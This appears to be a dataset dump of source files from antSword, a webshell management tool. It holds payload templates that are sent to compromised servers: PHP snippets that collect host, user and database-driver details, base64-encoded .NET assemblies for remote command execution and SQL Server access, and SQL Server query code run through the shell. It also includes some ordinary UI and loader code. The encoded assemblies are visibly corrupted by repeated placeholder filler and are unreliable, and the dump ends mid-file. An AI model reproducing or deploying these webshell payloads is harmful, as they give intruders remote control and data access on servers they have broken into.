text stringlengths 9 39.2M | dir stringlengths 26 295 | lang stringclasses 185
values | created_date timestamp[us] | updated_date timestamp[us] | repo_name stringlengths 1 97 | repo_full_name stringlengths 7 106 | star int64 1k 183k | len_tokens int64 1 13.8M |
|---|---|---|---|---|---|---|---|---|
```javascript
/**
* php::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc($out){
return $out;
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/phpraw/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 110 |
```javascript
module.exports = () => ({
show_databases: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbxIAAAomAgdy/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAACjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAAAAQAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZwCJAJoD5wCJAKcD7wCBAM0D9QCpAE0C+gCRAO0D/your_sha256_hashyour_sha256_hashwHRALYEaQEJACABSAAuAAsAdgEuABMAfwFyAJoArwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHUAcwAACVQAcgB1AGUAAA17ADAAfQB7ADEAfQAAB2gAZQB4AAAAs7Io2/fivEK/qiK1/A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`,
'action': 'show_databases',
'conn': '#{newbase64::conn}'
},
show_tables: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbxIAAAomAgdy/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAACjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAAAAQAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZwCJAJoD5wCJAKcD7wCBAM0D9QCpAE0C+gCRAO0D/your_sha256_hashyour_sha256_hashwHRALYEaQEJACABSAAuAAsAdgEuABMAfwFyAJoArwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHUAcwAACVQAcgB1AGUAAA17ADAAfQB7ADEAfQAAB2gAZQB4AAAAs7Io2/fivEK/qiK1/A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`,
'action': 'show_tables',
'conn': '#{newbase64::conn}',
'z1': '#{newbase64::db}'
},
show_columns: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbxIAAAomAgdy/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAACjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAAAAQAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZwCJAJoD5wCJAKcD7wCBAM0D9QCpAE0C+gCRAO0D/your_sha256_hashyour_sha256_hashwHRALYEaQEJACABSAAuAAsAdgEuABMAfwFyAJoArwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHUAcwAACVQAcgB1AGUAAA17ADAAfQB7ADEAfQAAB2gAZQB4AAAAs7Io2/fivEK/qiK1/A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`,
'action': 'show_columns',
'conn': '#{newbase64::conn}',
'z1': '#{newbase64::db}',
'z2': '#{newbase64::table}'
},
query: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbxIAAAomAgdy/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAACjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAAAAQAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZwCJAJoD5wCJAKcD7wCBAM0D9QCpAE0C+gCRAO0D/your_sha256_hashyour_sha256_hashwHRALYEaQEJACABSAAuAAsAdgEuABMAfwFyAJoArwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAHUAcwAACVQAcgB1AGUAAA17ADAAfQB7ADEAfQAAB2gAZQB4AAAAs7Io2/fivEK/qiK1/A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`,
'action': 'query',
'conn': '#{newbase64::conn}',
'z1': '#{newbase64::sql}'
}
})
``` | /content/code_sandbox/source/core/aspxcsharp/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,585 |
```javascript
/**
* ::
* : 2016/04/23
* : 2016/05/10
* : <path_to_url
*/
'use strict';
//
const path = require('path');
const Module = require('module').Module;
const {
remote
} = require('electron');
Module
.globalPaths
.push(path.join(remote.process.env.AS_WORKDIR, 'source'));
//
let APP_START_TIME = +new Date;
window.addEventListener('load', () => {
/**
*
* @param {String} format yyyy/mm/dd hh:ii:ss
* @return {String}
*/
Date.prototype.format = function (format) {
let o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length))
};
for (let k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ?
o[k] :
("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}
Array.prototype.unique = function () {
var res = [];
var json = {};
for (var i = 0; i < this.length; i++) {
if (!json[this[i]]) {
res.push(this[i]);
json[this[i]] = 1;
}
}
return res;
}
/**
* JS
* @param {String} js js
* @return {Promise} Promise
*/
function loadJS(js) {
return new Promise((res, rej) => {
let script = document.createElement('script');
script.src = js;
script.onload = res;
document
.head
.appendChild(script);
});
}
/**
* CSS
* @param {String} css css
* @return {Promise} Promise
*/
function loadCSS(css) {
return new Promise((res, rej) => {
let style = document.createElement('link');
style.rel = 'stylesheet';
style.href = css;
style.onload = res;
document
.head
.appendChild(style);
});
}
/**
* UI
*/
function loadingUI() {
let now = new Date();
/** loading */
if (now.getMonth() + 1 == 12) {
document
.getElementById('loading')
.classList
.add('loading_christmas');
}
}
loadingUI();
// css
loadCSS('ant-static://libs/bmenu/bmenu.css')
.then(() => loadCSS('ant-static://libs/toastr/toastr.min.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css'))
.then(() => loadCSS('ant-static://libs/laydate/need/laydate.css'))
.then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css'))
.then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css'))
.then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css'))
.then(() => loadCSS('ant-static://css/index.css'));
// js
loadJS('ant-static://libs/jquery/jquery.js')
.then(() => loadJS('ant-static://libs/ace/ace.js'))
.then(() => loadJS('ant-static://libs/ace/ext-language_tools.js'))
.then(() => loadJS('ant-static://libs/bmenu/bmenu.js'))
.then(() => loadJS('ant-static://libs/toastr/toastr.js'))
.then(() => loadJS('ant-static://libs/layer/src/layer.js'))
.then(() => loadJS('ant-static://libs/laydate/laydate.js'))
.then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js'))
.then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js'))
.then(() => {
/**
* layer
* @param {[type]} {extend: 'extend/layer.ext.js'} [description]
* @return {[type]} [description]
*/
layer.config({
extend: 'extend/layer.ext.js'
});
//
require('app.entry');
// LOGO
console.group('LOGO');
console.log(`%c
_____ _ _____ _
| _ |___| |_| __|_ _ _ ___ ___ _| |
| | | _|__ | | | | . | _| . |
|__|__|_|_|_| |_____|_____|___|_| |___|%c
->| Ver: %c${antSword.package.version}%c
-+=>| Git: %c${antSword.package.repository['url']}%c
-*| End: %c${ + new Date - APP_START_TIME}%c/ms
`, 'color: #F44336;', 'color: #9E9E9E;', 'color: #4CAF50;', 'color: #9E9E9E;', 'color: #2196F3;', 'color: #9E9E9E;', 'color: #FF9800;', 'color: #9E9E9E;');
APP_START_TIME = null;
console.groupEnd();
});
});
``` | /content/code_sandbox/source/load.entry.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,369 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;`.replace(/\n\s+/g, '')
},
probedb: { //
_: `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
};
$n=array('SQLite3');
foreach ($n as $f) {
echo($f."\\t".(class_exists($f)?'1':'0')."\\n");
};
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\\t1\\n");
}
}`.replace(/\n\s+/g, '')
}
})
``` | /content/code_sandbox/source/core/phpraw/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 374 |
```javascript
/*
oracle
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspxcsharp/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 12 |
```javascript
/**
* UI::tabbar
* -
* 2016/05/03
* -
* <path_to_url
*/
'use strict';
class Tabbar {
constructor(opts) {
// ID
let id = 'tabbar_' + (Math.random() * +new Date)
.toString(16)
.replace('.', '')
.substr(0, 11);
let tabbar = antSword['tabbar'];
//
tabbar.addTab(id, '<i class="fa fa-puzzle-piece"></i>', null, null, true, true);
this.cell = tabbar.tabs(id);
}
/**
*
* @return {[type]} [description]
* @return {Object} this
*/
active() {
this
.cell
.setActive();
return this;
}
/**
*
* @return {Object} this
*/
close() {
this
.cell
.close();
return this;
}
/**
*
* @param {String} title = 'New Title' [description]
* @return {Object} this
*/
setTitle(title = 'New Title') {
this
.cell
.setText(`<i class="fa fa-puzzle-piece"></i> ${antSword.noxss(title)}`);
return this;
}
/**
* HTML
* - `iframe`HTML&&
* @param {String} html = "" [description]
* @return {Object} this
*/
safeHTML(html = "", sandbox = "") {
let _html = Buffer
.from(html)
.toString('base64');
// path_to_url#attr-sandbox
let _iframe = `
<iframe
sandbox="${sandbox}"
src="data:text/html;base64,${_html}"
style="width:100%;height:100%;border:0;padding:0;margin:0;">
</iframe>
`;
this
.cell
.attachHTMLString(_iframe);
return this;
}
/**
*
* @param {Boolean} loading = true /false=
* @return {Object} this
*/
showLoading(loading = true) {
this.cell[loading ?
'progressOn' :
'progressOff']();
return this;
}
}
module.exports = Tabbar;
``` | /content/code_sandbox/source/ui/tabbar.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 529 |
```javascript
//
//
//
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAACAAABVxUCCAkAAAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAgALCQAAAAAhhjLADQACQAAAAEALwEAAAEALwEAAAEA+AEAAAIA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQChACsE9wCpADwE/your_sha256_hashyour_sha256_hashAAAAAoAOwAAAAAAAgAAAAAAAAAAAAAAAQAtAAAAAAAAAAAAADxNb2R1bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashDH1hpe7LRpdCCT+FovenAAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashc2NvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
'bin': "#{newbase64::bin}",
'cmd': "#{newbase64::cmd}",
'env': "#{newbase64::env}"
},
listcmd: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYTBHI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAnsGAAAEKB4AAAoKAwZvHwAAChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLQAyour_sha512_hash/LmBKMnMkCBam/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAIArAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
'binarr': '#{newbase64::binarr}'
}
})
``` | /content/code_sandbox/source/core/aspxcsharp/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,259 |
```javascript
/**
* ::sqlsrv
* php >= 5.3 mssql, sqlsrv sqlserver
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$chs="utf-8";
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>"master","CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"select [name] from master.dbo.sysdatabases order by 1",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0]).chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$chs="utf-8";
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0]).chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
},
//
show_columns: {
